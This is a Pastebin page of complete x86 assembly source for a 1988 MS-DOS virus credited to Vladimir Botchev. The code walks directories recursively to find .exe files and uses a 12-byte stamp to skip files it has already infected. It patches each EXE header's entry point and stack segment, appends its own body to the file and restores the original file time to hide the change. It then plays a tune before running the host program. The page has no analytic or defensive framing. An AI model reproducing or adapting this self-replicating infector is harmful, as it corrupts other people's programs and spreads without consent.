Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- comment / Good luck! Vladimir Botchev, CICT-BAS, december 1988 /
- data_area struc ;Define a pattern for working data
- ;area
- DS_save dw ?
- ES_save dw ?
- IP_save dw ?
- CS_save dw ?
- SS_save dw ?
- filematch db '*.exe',00h ;Names for files to infect
- matchall db '*.*',00h ;needed for the matching procedure
- infected dw 00h ;A very useful flag
- help_flag dw 00h ;These two flags are needed to
- where_from_flag dw 00h ;determine if virus is free running
- ;or from an infected program
- ;therefore it's very important
- ;that where_from_flag value
- ;is set to zero at assembly time
- handle dw ?
- ip_old dw ? ;old instruction pointer
- cs_old dw ? ;old value of code segment
- ss_old dw ?
- far_push dw ?
- save_push dw ?
- buffer1 db '\',63 dup (?)
- virus_stamp db 'motherfucker' ;Very hard to obtain in a random way
- buffer2 db 2b0h dup (?)
- new_area db 64 dup (?)
- new_data db 64 dup (?)
- pointer1 dw ?
- pointer2 dw ?
- pointer3 dw ?
- pointer4 dw ?
- pointer5 dw ?
- pointer6 dw ?
- pointer7 dw ?
- pointer8 dw ?
- data_area ends
- org 100h ;Defined for .com file as virus must
- ;be able to run on itself
- start: call setup_data ;This is a near call therefore it's a
- ;three byte instruction.It's purpose is
- ;to catch correct data area address
- ;even when virus is appended to the
- ;infected .exe program
- adjust equ offset pgm_start ;Known offset value
- pgm_start label word
- virussize equ 2793
- work: mov ax,ds ;Save old DS
- push cs
- pop ds ;Update to needed DS value
- mov si,offset buffer.DS_save ;Put old DS in a quiet place
- sub si,adjust
- add si,bx
- mov [si],ax
- mov si,offset buffer.ES_save ;Save it because Get DTA side effects
- sub si,adjust
- add si,bx
- mov ax,es
- mov [si],ax
- push cs ;Imperative because DI usage
- pop es
- push bx ;It's imperative to always keep
- ;this value unchanged
- mov ax,2f00h ;Get DTA function call
- int 21h
- mov cx,bx ;save address found
- pop bx
- mov si,offset buffer.pointer1
- sub si,adjust
- add si,bx
- mov [si],cx
- add si,2 ;Locate the segment immediately above
- mov ax,es
- mov [si],ax
- push cs
- pop es
- mov di,offset buffer.buffer1 ;adjust for first search
- inc di ;Jump over the '\'
- sub di,adjust
- add di,bx
- mov dx,0000h
- push bx
- call search_exe
- pop bx
- mov si,offset buffer.where_from_flag
- sub si,adjust
- add si,bx
- cmp word ptr [si],0000h
- jnz infected_run
- int 020H
- infected_run:
- mov si,offset buffer.pointer1
- sub si,adjust
- add si,bx
- mov dx,[si]
- push ds
- mov ax,[si+2]
- mov ds,ax
- push bx
- mov ax,1a00h
- int 21h
- pop bx
- pop ds ;Restore original DTA
- mov si,offset buffer.ES_save
- sub si,adjust
- add si,bx
- mov ax,[si]
- mov es,ax ;Restore ES
- push bx ;Here you can do whatever you want
- call mary_proc
- pop bx
- mov si,offset buffer.IP_save
- sub si,adjust
- add si,bx
- mov ax,[si]
- mov dx,[si+2]
- mov si,offset buffer.far_push ;Restore original code
- sub si,adjust ;segment
- add si,bx
- mov cx,[si]
- push ax
- mov ax,cs
- sub ax,cx
- mov di,ax ;For stack
- add dx,ax
- pop ax
- mov si,offset buffer.SS_save
- sub si,adjust ;Restore stack segment
- add si,bx
- mov cx,word ptr [si]
- add cx,di
- push es
- pop ds
- cli
- mov ss,cx
- sti
- push dx
- push ax
- retf
- search_exe PROC
- push si
- push dx
- call transfer_filespec ;transfer filename in another
- ;working area
- call find_first ;try to find a first match
- jc not_here ;first match not found
- call try_to_infect ;if found try to infect
- ;infected != 0 if success
- mov si,offset buffer.infected
- sub si,adjust
- add si,bx
- test word ptr [si],0ffffh
- jz try_next
- jmp quiet_exit
- try_next:
- call find_next ;If infection was not succesful
- ;try once more
- jc not_here
- call try_to_infect ;If match found try to infect
- mov si,offset buffer.infected ;again
- sub si,adjust
- add si,bx
- test word ptr [si],0ffffh
- jz try_next
- jmp quiet_exit ;quiet exit simply jumps
- ;to a return instruction
- not_here:
- pop dx ;If first searches are
- push dx ;unsuccesful try a '*.*' match
- call search_all
- call find_first
- jnc attribute_test ;i.e. expect probably to
- ;find a subdirectory
- quiet_exit:
- pop dx
- pop si
- ret
- attribute_test:
- mov si,dx ;offset of DTA
- test byte ptr [si+015h],010h ;where attribute byte is to
- ;be found.Try first with
- ;subdirectory attribute
- jne dir_found ;subdirectory found
- more_tries:
- call find_next ;Since the search was initiated
- ;with '*.*' if this is not a
- ;directory try to found one
- jc quiet_exit ;No sense to search more
- test byte ptr [si+015h],010h
- jz more_tries ;Search to the end
- dir_found:
- cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
- ;mark '.'
- jz more_tries ;looking for files no
- ;subdirectories
- call dta_compute ;Valid entry, now set some DTA
- ;and continue to search
- push ax
- mov ah,01Ah ;Set DTA function call
- int 021h
- pop ax
- push si
- mov si,offset buffer.infected
- sub si,adjust
- add si,bx
- test word ptr [si],0ffffh
- pop si
- jnz quiet_exit
- jmp more_tries
- search_exe ENDP
- dta_compute PROC
- push di ;Save some registers
- push si
- push ax
- push bx
- cld ;Up count for SI,DI pair
- mov si,dx ;DTA address to SI
- add si,01EH ;and add subdirectory
- ;name offset
- store_loop:
- lodsb
- stosb
- or al,al
- jne store_loop ;store loop
- std
- stosb
- mov al,05Ch ;Put in place the path name constructor
- stosb
- add di,2 ;Adjust di for new searches
- call search_exe ;a heavily recursion
- pop bx ;some cleanup and exit
- pop ax
- pop si
- pop di
- ret
- dta_compute ENDP
- try_to_infect PROC
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push es
- push bx
- mov ax,2f00h ;Get DTA function call
- int 21h
- mov ax,bx
- pop bx
- mov si,offset buffer.pointer3
- sub si,adjust
- add si,bx
- mov [si],ax ;Offset saved
- add si,2
- mov ax,es
- mov [si],ax
- pop es ;Segment located just above
- mov dx,offset buffer.new_data
- sub dx,adjust
- add dx,bx
- push bx
- mov ax,1a00h
- int 21h ;Set DTA function call
- pop bx ;It's very important to save BX in all calls
- mov di,offset buffer.new_area
- mov si,offset buffer.buffer1
- sub di,adjust
- sub si,adjust
- add di,bx
- add si,bx
- cld ; Move previously found pathname or filename
- ; to new data area
- move_path:
- lodsb
- stosb
- or al,al
- jnz move_path
- std ;adjust DI to recieve
- mov al,'\' ;filename.
- mov cx,0040h
- std ;Search backward
- repne scasb
- mov si,offset buffer.pointer3
- sub si,adjust
- add si,bx
- mov ax,[si]
- mov si,ax
- add di,2
- o_kay:
- add si,001eh ;The beginning of the filename...
- cld ;Now move name
- move_fnm:
- lodsb
- stosb
- or al,al
- jnz move_fnm
- push dx
- push bx
- mov dx,offset buffer.new_area
- sub dx,adjust
- add dx,bx
- mov ax,3d02h ;Open file with handle for read/write
- int 21h
- pop bx
- pop dx
- jnc go_ahead ;In case file cannot be opened
- jmp error_exit
- go_ahead:
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov [si],ax ;Save handle
- push bx
- mov bx,ax ;Prepare for lseek
- push dx
- mov cx,0000h ;Look at the end of the file
- mov dx,0000h ;Offset of -12 from the end of the file
- mov ax,4202h ;Lseek function call
- int 21h
- mov cx,dx
- pop dx
- pop bx
- jnc compute_length
- jmp close_error
- compute_length:
- sub ax,000ch
- sbb cx,0000h ;Exact position
- save_offset:
- mov si,offset buffer.pointer5
- sub si,adjust
- add si,bx
- mov [si],ax
- add si,2
- mov [si],cx
- push bx
- push dx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si]
- mov dx,ax
- mov ax,4200h ;From beginning of file
- int 21h ;Lseek function call
- pop dx
- pop bx
- jnc set_buffer
- jmp close_error
- set_buffer:
- push bx
- push dx
- mov dx,offset buffer.new_data
- sub dx,adjust
- add dx,bx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si] ;Load handle
- mov cx,000ch
- mov ax,3f00h
- int 21h ;Read function call
- pop dx
- pop bx
- jnc read_ok
- jmp close_error
- read_ok:
- mov si,offset buffer.virus_stamp
- mov di,offset buffer.new_data
- sub si,adjust
- sub di,adjust
- add si,bx
- add di,bx
- mov cx,12 ;Length of strings to compare
- repe cmpsb
- pushf
- mov si,offset buffer.infected
- sub si,adjust
- add si,bx
- mov word ptr [si],0000h
- popf
- jnz infect_it
- close_error:
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- push bx
- mov bx,[si]
- mov ax,3e00h ;Close file function call
- int 21h
- pop bx
- jmp error_exit
- infect_it:
- mov si,offset buffer.infected
- sub si,adjust
- add si,bx
- mov word ptr [si],7777h
- mov si,offset buffer.where_from_flag
- sub si,adjust
- add si,bx
- mov ax,[si]
- sub si,2
- mov [si],ax ;This code effectively moves
- ;where_from_flag into help_flag
- add si,2
- mov [si],5a5ah ;Ready to infect
- push bx
- push dx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si]
- xor cx,cx
- xor dx,dx
- mov ax,4200h ;From beginning of file
- int 21h ;Lseek function call
- pop dx
- pop bx
- jnc set_new_data
- jmp append_ok
- set_new_data:
- push bx
- push dx
- mov dx,offset buffer.new_data
- sub dx,adjust
- add dx,bx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si] ;Load handle
- mov cx,001bh ;Read formatted exe header
- mov ax,3f00h
- int 21h ;Read function call
- pop dx
- pop bx
- jnc read_header
- jmp append_ok
- read_header:
- nop ;some code to modify header
- mov si,offset buffer.pointer5
- sub si,adjust
- add si,bx
- mov ax,[si]
- add si,2
- add ax,0ch
- adc word ptr [si],0000h
- sub si,2
- mov [si],ax ;This code restores original filelength
- mov si,offset buffer.new_data
- sub si,adjust
- add si,bx
- mov ax,[si]
- cmp ax,5a4dh ;check for valid exe file
- jz valid_exe
- jmp append_ok
- valid_exe:
- mov ax,[si+8] ;Load module size
- xor dx,dx
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1 ;Multiply by 16
- push ax
- push dx ;Adjust new size
- push cx
- mov dx,virussize-896+64
- push dx
- mov cx,0009h
- shr dx,cl
- add word ptr [si+4],dx
- pop dx
- and dx,01ffh
- add dx,word ptr [si+2]
- cmp dx,512
- jl adjust_okay
- sub dx,512
- inc word ptr [si+4]
- adjust_okay:
- mov word ptr [si+2],dx
- pop cx
- pop dx
- pop ax
- push si ;This SI is very useful so save it
- mov si,offset buffer.pointer5
- sub si,adjust
- add si,bx
- sub [si],ax
- mov ax,[si]
- sbb [si+2],dx
- mov dx,[si+2] ;the byte size of the load module
- pop si
- push ax
- push dx
- mov ax,[si+14h]
- mov dx,[si+16h] ;Get CS:IP value
- mov cx,[si+0eh] ;Get SS value
- push si
- mov si,offset buffer.IP_save
- sub si,adjust
- add si,bx
- xchg [si],ax
- xchg [si+2],dx
- mov si,offset buffer.SS_save
- sub si,adjust
- add si,bx
- xchg [si],cx
- mov si,offset buffer.ip_old
- sub si,adjust
- add si,bx
- mov [si],ax
- mov [si+2],dx
- mov si,offset buffer.ss_old
- sub si,adjust
- add si,bx
- mov [si],cx
- pop si
- pop dx
- pop ax
- push ax
- push dx
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1 ;Multiply by 16
- mov cx,0008h
- shl dx,cl
- mov cx,0004h
- shr ax,cl ;A very obscure algorithm to make
- ;a segment:offset pair
- mov [si+14h],ax
- mov [si+16h],dx ;Infected values
- push si
- mov si,offset buffer.far_push
- sub si,adjust
- add si,bx
- xchg [si],dx
- mov word ptr [si+2],dx
- pop si
- pop dx
- pop ax
- add ax,virussize
- adc dx,0000h
- mov cx,0003h
- mul_loop:
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1
- shl ax,1
- rcl dx,1 ;Multiply by 4096
- loop mul_loop
- or ax,ax
- jz exact_value
- inc dx
- exact_value:
- mov [si+0eh],dx ;Infected stack segment
- ;Write back infected header
- push si
- push bx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si]
- mov ax,5700h ;Get time function
- int 21h
- pop bx
- pop si
- jnc correct_time
- jmp append_ok1
- correct_time:
- push cx
- push bx
- push dx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si]
- xor cx,cx
- xor dx,dx
- mov ax,4200h ;From beginning of file
- int 21h ;Lseek function call
- pop dx
- pop bx
- pop cx
- jnc continue_infection
- jmp append_ok1
- continue_infection:
- push cx
- push dx
- push bx
- mov dx,offset buffer.new_data
- sub dx,adjust
- add dx,bx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si] ;Load handle
- mov cx,001bh ;Write infected exe header
- mov ax,4000h
- int 21h ;Write function call
- pop bx
- pop dx
- pop cx
- jnc glue_virus
- jmp append_ok1
- glue_virus:
- push cx
- push bx
- push dx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si]
- xor cx,cx
- xor dx,dx
- mov ax,4202h ;From the end of file
- int 21h ;Lseek function call
- pop dx
- pop bx
- pop cx
- jnc write_data
- jmp append_ok1
- write_data:
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- push dx
- push cx
- mov dx,bx
- sub dx,3 ;The starting three byte call instruction
- push es
- push bx
- push dx
- push si
- mov ax,2f00h
- int 21h
- pop si
- pop dx
- push es
- push bx
- push si
- mov ax,1a00h
- int 21h
- pop si
- mov bx,[si] ;Load handle
- mov cx,virussize-896+64 ;Length of virus obtained
- mov ax,4000h ;with dir
- int 21h
- lahf ;Write function call
- pop bx
- pop es
- push ds
- push es
- pop ds
- mov dx,bx
- push ax
- mov ax,1a00h
- int 21h
- pop ax
- pop ds
- pop bx
- pop es
- pop cx
- pop dx
- sahf
- jnc put_stamp ;Error or not file
- jmp append_ok1 ;is closed
- put_stamp:
- push bx
- mov si,offset buffer.handle
- sub si,adjust
- add si,bx
- mov bx,[si]
- mov ax,5701h ;Set time function
- int 21h
- pop bx
- append_ok1:
- mov si,offset buffer.ip_old ;Restore previous CS:IP values
- sub si,adjust
- add si,bx
- mov ax,[si]
- mov dx,[si+2]
- mov si,offset buffer.IP_save
- sub si,adjust
- add si,bx
- mov [si],ax
- mov [si+2],dx
- mov si,offset buffer.save_push
- sub si,adjust
- add si,bx
- mov ax,[si]
- mov word ptr [si-2],ax
- mov si,offset buffer.ss_old
- sub si,adjust
- add si,bx
- mov ax,[si]
- mov si,offset buffer.SS_save
- sub si,adjust
- add si,bx
- mov word ptr [si],ax
- append_ok:
- mov si,offset buffer.help_flag
- sub si,adjust
- add si,bx
- mov ax,[si]
- add si,2
- mov [si],ax ;This code effectively moves
- ;help_flag into where_from_flag
- jmp close_error
- error_exit:
- mov si,offset buffer.pointer3
- sub si,adjust
- add si,bx
- mov dx,[si] ;Restore original DTA
- add si,2
- mov ax,[si]
- push ds
- mov ds,ax
- mov ax,1a00h ;Set DTA function call
- int 21h
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- try_to_infect ENDP
- transfer_filespec PROC
- push si
- mov si,offset buffer.filematch ;Transfer name to the working area
- sub si,adjust
- add si,bx
- call byte_move
- pop si
- ret
- transfer_filespec ENDP
- search_all PROC
- push si
- mov si,offset buffer.matchall ;This is the '*.*' filename
- sub si,adjust
- add si,bx
- call byte_move
- pop si
- ret
- search_all ENDP
- byte_move PROC
- push ax
- push di
- cld
- move_loop:
- lodsb
- stosb
- or al,al ;The string to move is ASCIIZ
- jne move_loop
- pop di
- pop ax
- ret
- byte_move ENDP
- find_first PROC
- push cx
- push bx
- cmp dx,0000h
- jnbe over_set
- mov dx,offset buffer.buffer2 ;Set Data Transfer Area
- sub dx,adjust ;or Disk Transfer area
- add dx,bx
- over_set:
- add dx,02Bh
- mov cx,00010h ;Attribute byte for directory search
- mov ah,01ah
- int 021h ;Set DTA function call
- pop bx
- push bx
- push dx
- mov dx,offset buffer.buffer1
- sub dx,adjust
- add dx,bx
- mov ah,04eh ;find first function call
- int 021h
- pop dx
- pop bx
- pop cx
- ret
- find_first ENDP
- find_next PROC
- push cx
- push bx
- push dx
- mov dx,offset buffer.buffer1
- sub dx,adjust
- add dx,bx
- mov cx,00010h
- mov ah,04fh ;Find next function call
- int 021h
- pop dx
- pop bx
- pop cx
- ret
- find_next ENDP
- delay PROC
- push ax
- push bx
- push cx
- push dx
- mov ah,2ch ;Read current time
- int 21h
- mov ah,ch
- add al,cl
- add bh,dh
- add bl,dl
- cmp bl,100
- jb secs
- sub bl,100
- inc bh
- secs:
- cmp bh,60
- jb mins
- sub bh,60
- inc al
- mins:
- cmp al,60
- jb hours
- sub al,60
- inc ah
- hours:
- cmp ah,24
- jne tcheck
- sub ah,ah
- tcheck:
- push ax
- mov ah,2ch
- int 21h
- pop ax
- cmp cx,ax
- ja tdquit
- jb tcheck
- cmp dx,bx
- jb tcheck
- tdquit:
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- delay ENDP
- sound PROC
- push ax
- push cx
- push dx
- push di
- mov al,0b6h
- out 43h,al
- mov dx,14h
- mov ax,533h*896
- div di
- out 42h,al
- mov al,ah
- out 42h,al
- in al,61h
- mov ah,al
- or al,3
- out 61h,al
- mov al,cl
- call delay
- mov al,ah
- out 61h,al
- pop di
- pop dx
- pop cx
- pop ax
- ret
- sound ENDP
- music_play PROC
- push bx
- push cx
- push di
- push si
- push bp
- freq:
- mov di,[si]
- cmp di,0ffffh
- je end_play
- mov bl,ds:[bp]
- sub cl,cl
- sub bh,bh
- call sound
- add si,2
- inc bp
- jnz freq
- end_play:
- pop bp
- pop si
- pop di
- pop cx
- pop bx
- ret
- music_play ENDP
- mary_proc PROC
- push bx
- push bp
- mov si,offset mary_freq
- mov bp,offset mary_time
- sub si,adjust
- sub bp,adjust
- add si,bx
- add bp,bx
- call music_play
- pop bp
- pop bx
- ret
- mary_proc ENDP
- mary_freq dw 262,262,293,329,262,329,293,196
- dw 262,262,293,329,262,262
- dw 262,262,293,329,349,329,293,262
- dw 246,196,220,246,262,262
- dw 220,246,220,174,220,246,262,220
- dw 196,220,196,174,164,174,196
- dw 220,246,220,174,220,246,262,220
- dw 196,262,246,293,262,262,0ffffh
- mary_time db 8 dup(25)
- db 4 dup(25), 50, 50
- db 8 dup(25)
- db 4 dup(25), 50, 50
- db 26, 25, 26, 5 dup(25)
- db 26, 25, 26, 3 dup(25), 30
- db 26, 25, 26, 4 dup(25), 30
- db 4 dup(25), 50, 50
- setup_data:
- cli
- pop bx ;This will catch instruction pointer
- push bx
- sti ;value and after that restore stack
- ret ;pointer value
- buffer data_area <> ;Reseve data_area space
Add Comment
Please, Sign In to add comment